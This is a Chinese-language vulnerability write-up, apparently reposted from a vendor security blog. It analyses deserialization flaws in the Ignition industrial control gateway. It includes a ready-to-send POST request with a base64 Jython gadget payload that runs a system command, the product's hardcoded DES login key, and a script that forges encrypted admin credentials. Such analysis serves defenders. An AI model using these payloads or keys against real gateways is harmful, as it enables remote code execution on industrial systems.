if (mdc != null) {
try {
mdc.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
}
throw var9;
}
if (mdc != null) {
mdc.close();
}
} catch (Exception var10) {
this.log.error(String.format("Error importing quarantined data for store '%s'", dataStore), var10);
}
} else {
throw new IOException(String.format("Data store '%s' not found, or does not currently support quarantined data", dataStore));
}
}
doImport
public void doImport(InputStream srcIS) throws Exception {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
InputStream is = null;
SAXParser parser = factory.newSAXParser();
try {
is = new UnicodeUtil.UnicodeInputStream(srcIS, "UTF-8");
InputSource src = new InputSource(is);
src.setEncoding("UTF-8");
parser.parse(src, this);
} catch (SAXParseException var9) {
throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);
} finally {
IOUtils.closeQuietly(is);
}
}
public void startElement(String uri, String localName, String name, Attributes attributes) throws SAXException {
this.getLogger().tracef("Start: %s", new Object[]{name});
if (this.currentHistoryElem != null) {
++this.dataDepth;
}
if ("data".equals(name) && this.currentHistoryElem == null) {
String flavor = attributes.getValue("flavor");
String subType = attributes.getValue("subtype");
HistoryFlavor f = this.mgr.lookupFlavor(flavor, subType);
SimpleXMLReader<HistoricalData> flavorHandler = f == null ? null : f.getXmlImportHandler(this.context); // 4
this.getLogger().debugf("Starting data element for flavor '%s' (located with [%s, %s])", new Object[]{f, flavor, subType});
if (flavorHandler == null) {
this.getLogger().warnf("No import handler found for historical data flavor '%s/%s', data will not be imported.", new Object[]{flavor, subType});
}
this.currentHistoryElem = new HistoryDataElement(f, flavorHandler);
++this.dataDepth;
} else if (this.currentHistoryElem != null) {
this.getDelegate().startElement(uri, localName, name, attributes);
}
}
4行的getXmlImportHandler
public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {
return new Base64XmlReader(context);
}
Base64XmlReader
protected static class Base64XmlReader extends HistoricalDataXmlReader {
GatewayContext context;
public Base64XmlReader(GatewayContext context) {
this.context = context;
}
protected void initializeMappings() {
super.initializeMappings();
this.elemTypeDictionary.put("base64", Base64Element.class);
}
protected class Base64Element extends Element {
String data;
public Base64Element() {
}
public void setRawValue(String value) throws Exception {
this.data = value;
}
public Object getValue() {
try {
return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.decodeAndGunzip(this.data));
} catch (Exception var2) {
LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);
return null;
}
}
public void addChild(Element child) throws Exception {
}
}
ClusterUtil
public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {
ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());
Object o = ois.readObject();
ois.close();
return o;
}
终于走到了我们预期的readObject
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData
com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.startElement
com.inductiveautomation.ignition.gateway.history.HistoryFlavor.getXmlImportHandler
com.inductiveautomation.ignition.gateway.history.HistoryFlavor.Base64XmlReader
com.inductiveautomation.ignition.gateway.cluster.ClusterUtil.deserializeObject
> Object o = ois.readObject();
利用
携带cookie和载荷向/data/status/store_forward_import/sample_sqlite_database接口发送POST请求
标签中的内容是上文提到的Jython链载荷的base64编码
POST /data/status/store_forward_import/sample_sqlite_database HTTP/1.1
Host: 192.168.8.109:8088
Content-Length: 3787
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAc
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=node06kiau662mhsbsxzlgvmzn4x03.node0
Connection: close
------WebKitFormBoundary2aeh8v1eAg4aLbAc
Content-Disposition: form-data; name="file"; filename="ahihi"
Content-Type: text/xml
<data flavor="__datasourcedata__" subtype="">
<base64>rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29tcGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABhvcmcucHl0aG9uLmNvcmUuUHlNZXRob2TmiR4qA6EacwIAA0wACF9fZnVuY19fdAAaTG9yZy9weXRob24vY29yZS9QeU9iamVjdDtMAAhfX3NlbGZfX3EAfgAITAAIaW1fY2xhc3NxAH4ACHhyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3SfoZG0yMpaXgIAAkwACmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9yZy9weXRob24vY29yZS9QeVR5cGU7eHBwcHNyACBvcmcucHl0aG9uLmNvcmUuQnVpbHRpbkZ1bmN0aW9ucy7a048zwV3vAgAAeHIAJG9yZy5weXRob24uY29yZS5QeUJ1aWx0aW5GdW5jdGlvblNldKDFmAjWbPEJAgABSQAFaW5kZXh4cgAnb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uTmFycm933vpBPcKIlwYCAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uUaLVAkvaMOECAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkNhbGxhYmxlstm62HE/kjICAAJMAANkb2N0ABJMamF2YS9sYW5nL1N0cmluZztMAARpbmZvdAAoTG9yZy9weXRob24vY29yZS9QeUJ1aWx0aW5DYWxsYWJsZSRJbmZvO3hxAH4ACXBwcHAAAAAScHNyACNvcmcucHl0aG9uLmNvcmUuUHlUeXBlJFR5cGVSZXNvbHZlcnuBU8WeYmr5AgADTAAGbW9kdWxlcQB+ABJMAARuYW1lcQB+ABJMABB1bmRlcmx5aW5nX2NsYXNzdAARTGphdmEvbGFuZy9DbGFzczt4cHQAC19fYnVpbHRpbl9fdAADc3RydnIAGG9yZy5weXRob24uY29yZS5QeVN0cmluZ0VnAua8VQypAgACTAAGZXhwb3J0dAAZTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlO0wABnN0cmluZ3EAfgASeHIAHG9yZy5weXRob24uY29yZS5QeUJhc2VTdHJpbmckhIA1NCQU7QIAAHhyABpvcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZVVaTxROQz7hAgABTAAJZGVsZWdhdG9ydAAnTG9yZy9weXRob24vY29yZS9TZXF1ZW5jZUluZGV4RGVsZWdhdGU7eHEAfgAJdwQAAAADc3EAfgAacHEAfgAXc3IAL29yZy5weXRob24uY29yZS5QeVNlcXVlbmNlJERlZmF1bHRJbmRleERlbGVnYXRlbepXKwpypoACAAFMAAZ0aGlzJDB0ABxMb3JnL3B5dGhvbi9jb3JlL1B5U2VxdWVuY2U7eHIAJW9yZy5weXRob24uY29yZS5TZXF1ZW5jZUluZGV4RGVsZWdhdGW999CJdNq/jgIAAHhwcQB+ACBwdAA5X19pbXBvcnRfXygnY29kZScpLkludGVyYWN0aXZlSW50ZXJwcmV0ZXIoKS5ydW5jb2RlKHJzKScpc3IAG29yZy5weXRob24uY29yZS5QeVN0cmluZ01hcJE1xs8kHUMzAgABTAAFdGFibGV0ACRMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudE1hcDt4cgAcb3JnLnB5dGhvbi5jb3JlLkFic3RyYWN0RGljdDUtefOX2TXrAgAAeHEAfgAJcHNxAH4AFXEAfgAYdAAJc3RyaW5nbWFwdnEAfgAmc3IAJmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwZJneEp2HKT0DAANJAAtzZWdtZW50TWFza0kADHNlZ21lbnRTaGlmdFsACHNlZ21lbnRzdAAxW0xqYXZhL3V0aWwvY29uY3VycmVudC9Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O3hwAAAADwAAABx1cgAxW0xqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O1J3P0Eymzl0AgAAeHAAAAAQc3IALmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQfNkyQWJMpPQIAAUYACmxvYWRGYWN0b3J4cgAoamF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9ja2ZVqCwsyGrrAgABTAAEc3luY3QAL0xqYXZhL3V0aWwvY29uY3VycmVudC9sb2Nrcy9SZWVudHJhbnRMb2NrJFN5bmM7eHBzcgA0amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9jayROb25mYWlyU3luY2WIMudTe78LAgAAeHIALWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skU3luY7geopSqRFp8AgAAeHIANWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLkFic3RyYWN0UXVldWVkU3luY2hyb25pemVyZlWoQ3U/UuMCAAFJAAVzdGF0ZXhyADZqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdE93bmFibGVTeW5jaHJvbml6ZXIz36+5rW1vqQIAAHhwAAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAAB0AAJyc3NxAH4AGnBxAH4AF3NxAH4AIXEAfgBacHQAL2ltcG9ydCBvczsKb3Muc3lzdGVtKCduZXQgdXNlciA+IGM6Ly91c2VyLnR4dCcpcHB4eA==</base64>
</data>
------WebKitFormBoundary2aeh8v1eAg4aLbAc--
8
CVE-2023-39473
漏洞影响版本为Ignition < 8.1.31,跟之前漏洞不一样的是,受影响端点为/system/gateway,载荷是xml的格式。
该漏洞利用非常复杂。。。
原理不展开分析了,只给出利用的部分过程
1. 加密用户名和密码
2. 编码auth的json串
3. 向Gateway发送登录请求获取cookie
4. 生成Jython反序列化载荷
5. 携带Cookie发送反序列化载荷
加密用户名和密码
gateway的登录过程是先加密后编码的
jar包中的加解密逻辑:
import java.nio.charset.StandardCharsets;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESedeKeySpec;
/* loaded from: common.jar:com/inductiveautomation/ignition/common/GatewaySec.class */
public class GatewaySec {
private static final byte[] defaultKey = {-63, -85, Byte.MAX_VALUE, 121, 122, -42, 14, -22, -5, -57, 122, -57, 104, 50, -60, 44, -122, 21, 42, -108, 118, 50, 94, -2};
private static final String ENCODING_KEY = "encodingKey";
public static String encrypt(String toEncrypt) throws Exception {
return encrypt(toEncrypt, defaultKey);
}
public static byte[] encrypt(byte[] toEncrypt) throws Exception {
return encrypt(toEncrypt, defaultKey);
}
public static String encrypt(String toEncrypt, byte[] encodingKey) throws Exception {
return HexUtils.convert(encrypt(toEncrypt.getBytes(StandardCharsets.UTF_8), encodingKey));
}
public static byte[] encrypt(byte[] toEncrypt, byte[] encodingKey) throws Exception {
SecretKeyFactory factory = SecretKeyFactory.getInstance("DESede");
SecretKey key = factory.generateSecret(new DESedeKeySpec(encodingKey));
Cipher desCipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
desCipher.init(1, key);
return desCipher.doFinal(toEncrypt);
}
public static String decrypt(String toDecrypt) throws Exception {
return decrypt(toDecrypt, defaultKey);
}
public static byte[] decrypt(byte[] toDecrypt) throws Exception {
return decrypt(toDecrypt, defaultKey);
}
public static String decrypt(String toDecrypt, byte[] encodingKey) throws Exception {
return new String(decrypt(HexUtils.convert(toDecrypt), encodingKey), StandardCharsets.UTF_8);
}
public static byte[] decrypt(byte[] toDecrypt, byte[] encodingKey) throws Exception {
SecretKeyFactory factory = SecretKeyFactory.getInstance("DESede");
SecretKey key = factory.generateSecret(new DESedeKeySpec(encodingKey));
Cipher desCipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
desCipher.init(2, key);
return desCipher.doFinal(toDecrypt);
}
public static byte[] customKeyOrDefault() {
String encodingKey = System.getProperty(ENCODING_KEY);
if (encodingKey != null) {
return encodingKey.getBytes(StandardCharsets.UTF_8);
}
return defaultKey;
}
}
import java.io.ByteArrayOutputStream;
/* loaded from: common.jar:com/inductiveautomation/ignition/common/HexUtils.class */
public final class HexUtils {
public static final int[] DEC = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -1, -1, -1, -1, -1, -1, -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
public static byte[] convert(String digits) {
byte b;
byte b2;
int i;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
for (int i2 = 0; i2 < digits.length(); i2 += 2) {
char c1 = digits.charAt(i2);
if (i2 + 1 >= digits.length()) {
throw new IllegalArgumentException("Bad String length - odd.");
}
char c2 = digits.charAt(i2 + 1);
if (c1 >= '0' && c1 <= '9') {
b = (byte) (0 + ((c1 - '0') * 16));
} else if (c1 >= 'a' && c1 <= 'f') {
b = (byte) (0 + (((c1 - 'a') + 10) * 16));
} else if (c1 >= 'A' && c1 <= 'F') {
b = (byte) (0 + (((c1 - 'A') + 10) * 16));
} else {
throw new IllegalArgumentException("Bad Hex Character");
}
if (c2 >= '0' && c2 <= '9') {
b2 = b;
i = c2 - '0';
} else if (c2 >= 'a' && c2 <= 'f') {
b2 = b;
i = (c2 - 'a') + 10;
} else if (c2 >= 'A' && c2 <= 'F') {
b2 = b;
i = (c2 - 'A') + 10;
} else {
throw new IllegalArgumentException("Bad Hex Character");
}
byte b3 = (byte) (b2 + i);
baos.write(b3);
}
return baos.toByteArray();
}
public static String convert(byte[] bytes) {
StringBuffer sb = new StringBuffer(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(convertDigit(bytes[i] >> 4));
sb.append(convertDigit(bytes[i] & 15));
}
return sb.toString();
}
public static int convert2Int(byte[] hex) {
if (hex.length < 4) {
return 0;
}
if (DEC[hex[0]] < 0) {
throw new IllegalArgumentException("Bad Hex Digit");
}
int len = DEC[hex[0]];
int len2 = len << 4;
if (DEC[hex[1]] < 0) {
throw new IllegalArgumentException("Bad Hex Digit");
}
int len3 = (len2 + DEC[hex[1]]) << 4;
if (DEC[hex[2]] < 0) {
throw new IllegalArgumentException("Bad Hex Digit");
}
int len4 = (len3 + DEC[hex[2]]) << 4;
if (DEC[hex[3]] < 0) {
throw new IllegalArgumentException("Bad Hex Digit");
}
return len4 + DEC[hex[3]];
}
private static char convertDigit(int value) {
int value2 = value & 15;
if (value2 >= 10) {
return (char) ((value2 - 10) + 97);
}
return (char) (value2 + 48);
}
public static String toHexString(int value) {
String ret;
String base = Integer.toHexString(value).toUpperCase();
if (base.length() < 8) {
char[] pad = new char[8 - base.length()];
for (int i = 0; i < pad.length; i++) {
pad[i] = '0';
}
ret = new String(pad) + base;
} else {
ret = base;
}
return ret;
}
}
调用encrypt方法,得到admin加密后的值是 e5ac043c7cef1fde
编码auth
拿到用户名和密码的加密值后,需要生成一个auth的json串
username = b'e5ac043c7cef1fde'
password = b'e5ac043c7cef1fde'
auth = b'{"username-enc":"'
+ username
+ b'","password-enc":"'
+ password
+ b'"}'
auth = b"xacxedx00x05x74"
+ len(auth).to_bytes(2,'big')
+ auth
auth = gzip.compress(auth)
auth = base64.b64encode(auth).decode()
print(auth)
如果用户名和密码都是admin的话 编码后的值为
H4sIAM2MAmYC/1vzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinVNDHZwMQ42Tw5Nc0wLSVVSUepILG4uDy/KAWXiloANjssdEwAAAA=
向Gateway发送登录请求获取cookie
生成Jython反序列化载荷
还是我们之前提到的
java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
org.python.core.PyBuiltinFunctionNarrow.__call__
org.python.core.BuiltinFunctions.__call__
org.python.core.__builtin__.eval
org.python.core.Py.runCode
携带Cookie发送反序列化载荷
成功触发
9
修复建议
-
过滤特定载荷
-
升级到最新版本
-
部署终端安全防御系统
X
参考
https://www.cybersecurity-help.cz/vdb/SB2024010815
https://github.com/TecR0c/DoubleTrouble
https://petrusviet.medium.com/cve-2023-50220-inductive-automation-ignition-xml-deserialization-to-rce-7b395412c6cf
XZ平台13604/12812/12331
原文始发于微信公众号(华为安全应急响应中心):Ignition 工控系统 多个反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论